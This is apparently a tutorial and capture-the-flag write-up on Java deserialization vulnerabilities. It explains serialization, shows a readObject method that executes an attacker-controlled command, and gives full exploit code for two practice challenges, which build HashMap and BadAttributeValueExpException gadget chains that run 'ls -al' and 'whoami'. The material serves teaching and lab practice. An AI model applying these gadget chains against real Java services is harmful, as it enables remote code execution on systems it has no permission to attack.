0x01 Introduction to Serialization and Deserialization in Java

Like in PHP, Java also has serialization and deserialization features. Serialization is the process of converting Java objects to byte streams, which makes it easy for the objects to transfer between programmes or store them on the disk for persistence. Deserialization on the other hand, restore the objects form byte streams.

Basic requirements for a class to be serializable:

  1. Implement the java.io.Serializable interface.
  2. Every field in the class must be serializable.

When the requirements are met, the class can be serialized and deserialized using ObjectOutputStream and ObjectInputStream respectively.

Let’s take a look at an simple example:

import java.io.*;

public class example1 {
    public static void main(String[] args) {
        try {
            // Create an object
            User user = new User("admin", "password");

            // Serialize the object
            FileOutputStream fileOut = new FileOutputStream("user.ser");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(user);
            out.close();
            fileOut.close();

            // Deserialize the object
            FileInputStream fileIn = new FileInputStream("user.ser");
            ObjectInputStream in = new ObjectInputStream(fileIn);
            User newUser = (User) in.readObject();
            in.close();
            fileIn.close();

            // Print the object
            System.out.println(newUser.getUsername());
            System.out.println(newUser.getPassword());
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

class User implements Serializable {
    private String username;
    private String password;
    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }
    public String getUsername() {
        return username;
    }
    public String getPassword() {
        return password;
    }
}

And the output will be:

❯ java example1.java
admin
password

0x02 Java Deserialization Vulnerability

However, Java deserialization can be dangerous if the input is not validated properly. An attacker can craft a malicious serialized object and send it to the server, which can lead to Remote Code Execution (RCE) if the server deserializes the objects. But, how does it work?

Well, mostly it is triggered by classes with rewritten readObject magic method for custom deserialization. Here is a simple example:

public class CodeRunner implements Serializable {
    public String code;

    public CodeRunner(String code) {
        this.code = code;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.code);
    }

Code above may assume that field code were safe or validated by the front-end, but if the attacker can control the code field, they can execute arbitrary code on the server.

0x03 Challenge Examples

[CNSS Practice Game] Java1

Introductory challenge to Java deserialization vulnerability. The program contains three classes: Main, Sink, Util:

Main

Main

Sink

Sink

Util

Util

Obviously, we are going to set the cmd field in the Sink object to execute arbitrary command and trigger hashCode to run Util.execCmd for RCE.

But how can we trigger the hashCode method? We can use the HashMap class, which will call hashCode method when inserting a key-value pair.

java.util.HashMap#readObject:

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
    //...
    for (int i = 0; i < mappings; i++) {
        K key = (K) s.readObject();
        V value = (V) s.readObject();
        putVal(hash(key), key, value, false, false);
    }
}

java.util.HashMap#hash:

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

So the chain will be: HashMap.readObject -> HashMap.hash -> Sink.hashCode -> Util.execCmd.

And here is the exploit:

package com.cnss;

import java.util.*;
import java.io.*;

public class java1_exp {
    public static void main(String[] args) {
        HashMap<Sink, String> map = new HashMap<>();
        map.put(new Sink("ls -al"), "0xdeadbeef");
        try {
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(map);
            oos.close();
            String b64 = Base64.getEncoder().encodeToString(bos.toByteArray());
            System.out.println(b64);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

class Sink implements Serializable {
    private String cmd;
    private static final long serialVersionUID = 5431111248416336768L;

    public Sink(String cmd) {
        this.cmd = cmd;
    }
}

[CNSS Practice Game] Java2

Java version: 1.8.0u212

Main and Util are the same as the previous challenge, Sink and Sink2 are new:

Sink

Sink

Sink2

Sink2

So we need to trigger Sink.toString -> Sink2.get("CN55") to execute arbitrary command. But how can we trigger Sink.toString? Well, in low version of JDK like 1.8.0 we can use BadAttributeValueExpException#readObject to trigger toString method of the object. For reference, the source of BadAttributeValueExpException#readObject is:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);
 
        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

So the poc will be:

package com.cnss;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

import javax.management.BadAttributeValueExpException;

public class java2_exp {
    public static void main(String[] args) throws Exception {
        Sink2 s2 = new Sink2();
        setFieldValue(s2, "cmd", "whoami");

        Sink s = new Sink();
        setFieldValue(s, "map", s2);
        setFieldValue(s, "key", "CN55");

        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        setFieldValue(exp, "val", s);   

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(exp);
        oos.close();
        String b64 = Base64.getEncoder().encodeToString(bos.toByteArray());
        System.out.println(b64);
    }

    public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field1 = obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj,value);
    }
}